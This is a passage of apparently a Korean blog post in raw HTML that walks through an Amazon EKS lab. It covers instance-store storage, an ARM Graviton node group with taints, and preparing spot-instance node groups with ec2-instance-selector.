width=&quot;705&quot; height=&quot;241&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.16.51.png&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;241&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.18.08.png&quot; data-origin-width=&quot;2172&quot; data-origin-height=&quot;342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tYE3Z/btsFXLnJ20j/DH2KFIz8uhYlK2nBifDXV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tYE3Z/btsFXLnJ20j/DH2KFIz8uhYlK2nBifDXV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tYE3Z/btsFXLnJ20j/DH2KFIz8uhYlK2nBifDXV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtYE3Z%2FbtsFXLnJ20j%2FDH2KFIz8uhYlK2nBifDXV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2172&quot; height=&quot;342&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.18.08.png&quot; data-origin-width=&quot;2172&quot; data-origin-height=&quot;342&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.21.46.png&quot; data-origin-width=&quot;1622&quot; data-origin-height=&quot;119&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccLAy3/btsFXPDFz0r/48Ayz7N3JwCtkN3q5ePFyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccLAy3/btsFXPDFz0r/48Ayz7N3JwCtkN3q5ePFyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccLAy3/btsFXPDFz0r/48Ayz7N3JwCtkN3q5ePFyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccLAy3%2FbtsFXPDFz0r%2F48Ayz7N3JwCtkN3q5ePFyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1622&quot; height=&quot;119&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.21.46.png&quot; data-origin-width=&quot;1622&quot; data-origin-height=&quot;119&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1710923103014&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 노드 보안그룹 ID 확인
NG2SGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ng2* --query &quot;SecurityGroups[*].[GroupId]&quot; --output text)
aws ec2 authorize-security-group-ingress --group-id $NG2SGID --protocol '-1' --cidr 192.168.1.100/32

# 워커 노드 SSH 접속
N4=&amp;lt;각자 자신의 워커 노드4번 Private IP 지정&amp;gt;
N4=192.168.3.160
ssh ec2-user@$N4 hostname

# 확인
ssh ec2-user@$N4 sudo nvme list
ssh ec2-user@$N4 sudo lsblk -e 7 -d
ssh ec2-user@$N4 sudo df -hT -t xfs
ssh ec2-user@$N4 sudo tree /data
ssh ec2-user@$N4 sudo cat /etc/fstab&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1710923189972&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# max-pod 확인
kubectl describe node -l disk=nvme | grep Allocatable: -A7
Allocatable:
  attachable-volumes-aws-ebs:  25
  cpu:                         1930m
  ephemeral-storage:           27905944324
  hugepages-1Gi:               0
  hugepages-2Mi:               0
  memory:                      3097552Ki
  pods:                        100

# kubelet 데몬 파라미터 확인 : --max-pods=29 --max-pods=100
ssh ec2-user@$N4 sudo ps -ef | grep kubelet&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존의 로컬 스토리지를 삭제하고 스토리지 클래스를 재생성하여 Instace store를 사용하도록 설정합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710923439435&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 기존 삭제
#curl -s -O https://raw.githubusercontent.com/rancher/local-path-provisioner/master/deploy/local-path-storage.yaml
cd
kubectl delete -f local-path-storage.yaml

#
sed -i 's/opt/data/g' local-path-storage.yaml
kubectl apply -f local-path-storage.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Graviton (ARM) Instance 노드그룹 생성&lt;/span&gt;&lt;/h4&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Graviton (ARM) 인스턴스 노드그룹은 AWS(Amazon Web Services)에서 제공하는 서비스 중 하나입니다. Graviton 인스턴스는 ARM 프로세서를 기반으로 한 가상 서버입니다. 노드그룹은 여러 인스턴스를 관리하고 스케일링하는 데 사용되는 AWS Auto Scaling의 한 형태입니다.&lt;br /&gt;이러한 노드그룹은 다음과 같은 장점을 제공합니다:&lt;br /&gt;&amp;nbsp;1. ARM 프로세서를 사용하여 비용을 절감하고 성능을 최적화합니다.&lt;br /&gt;&amp;nbsp;2. 다양한 애플리케이션 및 워크로드에 유연하게 대응할 수 있습니다.&lt;br /&gt;&amp;nbsp;3. AWS Auto Scaling을 통해 인스턴스의 수를 자동으로 조정하여 트래픽 변동에 대응할 수 있습니다.&lt;br /&gt;Graviton 인스턴스 노드그룹은 클라우드 기반 애플리케이션을 개발하고 운영하는 데 유용한 솔루션 중 하나입니다. &lt;i&gt;[출처 : ChatGPT]&lt;br /&gt;&lt;/i&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt; 인스턴스 타입에 g라는 Processor family가 추가되어 구분됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;300&quot; data-origin-height=&quot;211&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xSUUu/btsFV5gxLgm/FLu6aH90E0wL7BZh1rroy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xSUUu/btsFV5gxLgm/FLu6aH90E0wL7BZh1rroy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xSUUu/btsFV5gxLgm/FLu6aH90E0wL7BZh1rroy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxSUUu%2FbtsFV5gxLgm%2FFLu6aH90E0wL7BZh1rroy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;211&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;300&quot; data-origin-height=&quot;211&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPU별로 노드그룹을 생성하여 파드를 배치하면 비용 절감과 보다 최적화된 성능을 기대할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;552&quot; data-origin-height=&quot;340&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/llkXQ/btsFVTmN6fQ/yZrnY8WaoaUaEwQCkTBckk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/llkXQ/btsFVTmN6fQ/yZrnY8WaoaUaEwQCkTBckk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/llkXQ/btsFVTmN6fQ/yZrnY8WaoaUaEwQCkTBckk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FllkXQ%2FbtsFVTmN6fQ%2FyZrnY8WaoaUaEwQCkTBckk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;552&quot; height=&quot;340&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;552&quot; data-origin-height=&quot;340&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 배포된 워커 노드의 CPU 종류를 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710923850391&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl get nodes -L kubernetes.io/arch&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.36.41.png&quot; data-origin-width=&quot;857&quot; data-origin-height=&quot;121&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4azGp/btsFX4AyRhE/76T4g7chVoynOUqOoMsXc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4azGp/btsFX4AyRhE/76T4g7chVoynOUqOoMsXc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4azGp/btsFX4AyRhE/76T4g7chVoynOUqOoMsXc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4azGp%2FbtsFX4AyRhE%2F76T4g7chVoynOUqOoMsXc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;857&quot; height=&quot;121&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.36.41.png&quot; data-origin-width=&quot;857&quot; data-origin-height=&quot;121&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ng3이라는 신규 노드 그룹을 생성합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710923858040&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 신규 노드 그룹 생성
eksctl create nodegroup --help
eksctl create nodegroup -c $CLUSTER_NAME -r $AWS_DEFAULT_REGION --subnet-ids &quot;$PubSubnet1&quot;,&quot;$PubSubnet2&quot;,&quot;$PubSubnet3&quot; --ssh-access \
  -n ng3 -t t4g.medium -N 1 -m 1 -M 1 --node-volume-size=30 --node-labels family=graviton --dry-run &amp;gt; myng3.yaml
eksctl create nodegroup -f myng3.yaml

# 확인
kubectl get nodes --label-columns eks.amazonaws.com/nodegroup,kubernetes.io/arch
kubectl describe nodes --selector family=graviton
aws eks describe-nodegroup --cluster-name $CLUSTER_NAME --nodegroup-name ng3 | jq .nodegroup.taints&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.41.39.png&quot; data-origin-width=&quot;1374&quot; data-origin-height=&quot;567&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/x4UnK/btsFUYIWgGf/VFXKnGYWeQonhajJEb3jk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/x4UnK/btsFUYIWgGf/VFXKnGYWeQonhajJEb3jk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/x4UnK/btsFUYIWgGf/VFXKnGYWeQonhajJEb3jk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fx4UnK%2FbtsFUYIWgGf%2FVFXKnGYWeQonhajJEb3jk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1374&quot; height=&quot;567&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.41.39.png&quot; data-origin-width=&quot;1374&quot; data-origin-height=&quot;567&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.43.09.png&quot; data-origin-width=&quot;2036&quot; data-origin-height=&quot;243&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/54Wgj/btsFWuG4NWj/1rV3cuKBvN5mGfdVQmwvk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/54Wgj/btsFWuG4NWj/1rV3cuKBvN5mGfdVQmwvk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/54Wgj/btsFWuG4NWj/1rV3cuKBvN5mGfdVQmwvk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F54Wgj%2FbtsFWuG4NWj%2F1rV3cuKBvN5mGfdVQmwvk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2036&quot; height=&quot;243&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.43.09.png&quot; data-origin-width=&quot;2036&quot; data-origin-height=&quot;243&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.42.27.png&quot; data-origin-width=&quot;863&quot; data-origin-height=&quot;237&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l3bWH/btsFUGIezTV/9mTXaTvSbVhe2Z7nf3kRNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l3bWH/btsFUGIezTV/9mTXaTvSbVhe2Z7nf3kRNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l3bWH/btsFUGIezTV/9mTXaTvSbVhe2Z7nf3kRNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl3bWH%2FbtsFUGIezTV%2F9mTXaTvSbVhe2Z7nf3kRNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;863&quot; height=&quot;237&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.42.27.png&quot; data-origin-width=&quot;863&quot; data-origin-height=&quot;237&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPU 아키텍처가 컨테이너 이미지마다 다르므로 해당되는 이미지만 해당 노드에 생성하기 위해 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;새롭게 생성된 노드 그룹 ng3에 taints를 설정합니다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1710924238753&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# taints 셋팅 -&amp;gt; 적용에 2~3분 정도 시간 소요
aws eks update-nodegroup-config --cluster-name $CLUSTER_NAME --nodegroup-name ng3 --taints &quot;addOrUpdateTaints=[{key=frontend, value=true, effect=NO_EXECUTE}]&quot;

# 확인
kubectl describe nodes --selector family=graviton | grep Taints
aws eks describe-nodegroup --cluster-name $CLUSTER_NAME --nodegroup-name ng3 | jq .nodegroup.taints&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.44.18.png&quot; data-origin-width=&quot;2053&quot; data-origin-height=&quot;668&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRgFS7/btsFUYB96wd/h2hUkla6DA4daDlLX9LALk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRgFS7/btsFUYB96wd/h2hUkla6DA4daDlLX9LALk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRgFS7/btsFUYB96wd/h2hUkla6DA4daDlLX9LALk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRgFS7%2FbtsFUYB96wd%2Fh2hUkla6DA4daDlLX9LALk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2053&quot; height=&quot;668&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.44.18.png&quot; data-origin-width=&quot;2053&quot; data-origin-height=&quot;668&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gravtion기반의 이미지를 해당 노드에 잘 배포되는지 테스트해봅니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710924448981&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat &amp;lt;&amp;lt; EOT &amp;gt; busybox.yaml
apiVersion: v1
kind: Pod
metadata:
  name: busybox
spec:
  terminationGracePeriodSeconds: 3
  containers:
  - name: busybox
    image: busybox
    command:
    - &quot;/bin/sh&quot;
    - &quot;-c&quot;
    - &quot;while true; do date &amp;gt;&amp;gt; /home/pod-out.txt; cd /home; sync; sync; sleep 10; done&quot;
  tolerations:
    - effect: NoExecute
      key: frontend
      operator: Exists
EOT
kubectl apply -f busybox.yaml

# 파드가 배포된 노드 정보 확인
kubectl get pod -owide

# 삭제
kubectl delete pod busybox
eksctl delete nodegroup -c $CLUSTER_NAME -n ng3&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.48.42.png&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;237&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdBnKH/btsFYp5zsky/RqNIB18zhbUaNdFbvQHjd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdBnKH/btsFYp5zsky/RqNIB18zhbUaNdFbvQHjd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdBnKH/btsFYp5zsky/RqNIB18zhbUaNdFbvQHjd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdBnKH%2FbtsFYp5zsky%2FRqNIB18zhbUaNdFbvQHjd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;697&quot; height=&quot;237&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.48.42.png&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;237&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Spot instances&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인스턴스를 선택할 수 있는 필터링과 같은 정보들을 가져올 수 있는 툴을 설치해 사용합니다.&lt;/p&gt;
&lt;figure id=&quot;og_1710924612732&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - aws/amazon-ec2-instance-selector: A CLI tool and go library which recommends instance types based on resource criteria &quot; data-og-description=&quot;A CLI tool and go library which recommends instance types based on resource criteria like vcpus and memory - aws/amazon-ec2-instance-selector&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/aws/amazon-ec2-instance-selector&quot; data-og-url=&quot;https://github.com/aws/amazon-ec2-instance-selector&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/sWDAf/hyVAKHLtJb/kuzPwKpqCFf6nH1BOsl6k1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/aws/amazon-ec2-instance-selector&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/aws/amazon-ec2-instance-selector&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/sWDAf/hyVAKHLtJb/kuzPwKpqCFf6nH1BOsl6k1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - aws/amazon-ec2-instance-selector: A CLI tool and go library which recommends instance types based on resource criteria&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;A CLI tool and go library which recommends instance types based on resource criteria like vcpus and memory - aws/amazon-ec2-instance-selector&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;pre id=&quot;code_1710924669736&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# ec2-instance-selector 설치
curl -Lo ec2-instance-selector https://github.com/aws/amazon-ec2-instance-selector/releases/download/v2.4.1/ec2-instance-selector-`uname | tr '[:upper:]' '[:lower:]'`-amd64 &amp;amp;&amp;amp; chmod +x ec2-instance-selector
mv ec2-instance-selector /usr/local/bin/
ec2-instance-selector --version

# 사용
ec2-instance-selector --vcpus 2 --memory 4 --gpus 0 --current-generation -a x86_64 --deny-list 't.*' --output table-wide

#Internally ec2-instance-selector is making calls to the DescribeInstanceTypes for the specific region and filtering the instances based on the criteria selected in the command line, in our case we filtered for instances that meet the following criteria:
- Instances with no GPUs
- of x86_64 Architecture (no ARM instances like A1 or m6g instances for example)
- Instances that have 2 vCPUs and 4 GB of RAM
- Instances of current generation (4th gen onwards)
- Instances that don&amp;rsquo;t meet the regular expression t.* to filter out burstable instance types&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.52.09.png&quot; data-origin-width=&quot;1591&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Qod7p/btsFW419MnN/04vqK9RqcK9iYuOSB89xFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Qod7p/btsFW419MnN/04vqK9RqcK9iYuOSB89xFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Qod7p/btsFW419MnN/04vqK9RqcK9iYuOSB89xFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQod7p%2FbtsFW419MnN%2F04vqK9RqcK9iYuOSB89xFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1591&quot; height=&quot;300&quot; data-filename=&quot;스크린샷 2024-03-20 오후 5.52.09.png&quot; data-origin-width=&quot;1591&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노드 그룹을 나눌 때에 On Demand 노드 그룹에서 Prod환경에서의 중요한 파드들을 운영하고, Dev환경이나 Staging환경이지만 리스크가 없는 파드들은 Spot 인스턴스 노드 그룹에 배포되도록 전략을 설정하면 비용을 보다 효율적으로 사용할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;1012&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eazZ47/btsFUFP54pp/QMB6YPIq9nYh3pVPAWiZhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eazZ47/btsFUFP54pp/QMB6YPIq9nYh3pVPAWiZhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eazZ47/btsFUFP54pp/QMB6YPIq9nYh3pVPAWiZhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeazZ47%2FbtsFUFP54pp%2FQMB6YPIq9nYh3pVPAWiZhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1416&quot; height=&quot;1012&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;1012&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Spot Instances를 배포하기 전에 현재 생성되어 있는 노드 그룹의 cpapcityType을 확인하면 On Demand 타입만 존재하는 것을 확인할 수 있습니다. 이제 새로운 Spot Instance 타입의 노드 그룹을 배포해 보겠습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711000948190&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl get nodes -L eks.amazonaws.com/capacityType&lt;/code&gt;&lt;/pre&gt;
